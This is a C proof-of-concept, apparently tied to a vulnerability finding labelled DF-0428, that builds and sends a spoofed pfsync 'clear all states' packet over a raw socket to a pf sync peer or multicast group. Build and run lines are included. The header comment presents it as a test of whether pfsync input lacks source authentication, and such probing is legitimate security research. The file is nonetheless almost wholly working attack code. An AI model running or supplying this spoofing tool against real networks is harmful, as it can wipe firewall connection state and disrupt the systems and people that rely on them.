DF-0428 / inject_pfsync.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | /* * inject_pfsync.c โ send a crafted IPPROTO_PFSYNC(240) packet. * * Demonstrates the DF-0428 claim: build a pfsync CLR (clear-all-states) * message from an arbitrary spoofed source IP, with TTL=255, and send it * to the configured sync peer / multicast group over a raw socket. * * If pfsync_input were live, the receiver would clear every pf state * whose creatorid matches the one we set in the CLR payload. We watch * the pfsyncstats counters (pfsyncs_ipackets / pfsyncs_badif / ...) to * detect whether the packet ever reached the handler. * * Usage: inject_pfsync <src-ip> <dst-ip> <creatorid-hex> * Build: cc -o inject_pfsync inject_pfsync.c * Run: ./inject_pfsync 10.0.2.99 224.0.0.240 0xdeadbeef * * Requires root (raw socket). The point of DF-0428 is that NO * authentication of <src-ip> is performed โ any on-link host may spoof. */ #include <sys/param.h> #include <sys/socket.h> #include <net/if.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <err.h> #include <net/pf/if_pfsync.h> #define PFSYNC_GROUP "224.0.0.240" static u_int16_t cksum(const void *data, int len) { const u_int16_t *p = data; u_int32_t sum = 0; while (len > 1) { sum += *p++; len -= 2; } if (len) sum += *(const u_int8_t *)p; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (u_int16_t)~sum; } int main(int argc, char **argv) { int s, on = 1; struct sockaddr_in dst; unsigned int creatorid; if (argc != 4) { fprintf(stderr, "usage: %s <src-ip> <dst-ip> <creatorid-hex>\n", argv[0]); return 2; } if (sscanf(argv[3], "%x", &creatorid) != 1) errx(1, "creatorid"); /* * Build: IP header (20B) + pfsync_header (28B) + pfsync_state_clr * (pfsync.h: struct pfsync_state_clr { u_int8_t ifname[IFNAMSIZ]; * u_int32_t creatorid; }). */ struct { struct ip ip; struct pfsync_header ph; struct pfsync_state_clr clr; } __packed pkt; memset(&pkt, 0, sizeof(pkt)); /* IP header */ pkt.ip.ip_v = 4; pkt.ip.ip_hl = sizeof(struct ip) >> 2; pkt.ip.ip_tos = 0; pkt.ip.ip_len = htons(sizeof(pkt)); pkt.ip.ip_id = htons(0x1234); pkt.ip.ip_off = 0; pkt.ip.ip_ttl = PFSYNC_DFLTTL; /* 255 โ the only "check" */ pkt.ip.ip_p = IPPROTO_PFSYNC; /* 240 */ pkt.ip.ip_sum = 0; inet_pton(AF_INET, argv[1], &pkt.ip.ip_src); inet_pton(AF_INET, argv[2], &pkt.ip.ip_dst); pkt.ip.ip_sum = cksum(&pkt.ip, sizeof(pkt.ip)); /* pfsync header */ pkt.ph.version = PFSYNC_VERSION; /* 4 */ pkt.ph.af = AF_INET; pkt.ph.action = PFSYNC_ACT_CLR; /* 0 โ clear all states */ pkt.ph.count = 1; memset(pkt.ph.pf_chksum, 0, sizeof(pkt.ph.pf_chksum)); /* CLR payload: ifname="" (means "all interfaces"), creatorid */ memset(pkt.clr.ifname, 0, sizeof(pkt.clr.ifname)); pkt.clr.creatorid = htonl(creatorid); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) err(1, "socket(IPPROTO_RAW)"); if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) err(1, "IP_HDRINCL"); /* bind to vtnet0 so the packet egresses (and is looped) on the right ifp */ memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; inet_pton(AF_INET, argv[2], &dst.sin_addr); ssize_t n = sendto(s, &pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); if (n < 0) err(1, "sendto"); printf("sent %zd bytes: %s -> %s proto=240 ttl=255 act=CLR creatorid=0x%x\n", n, argv[1], argv[2], creatorid); close(s); return 0; } |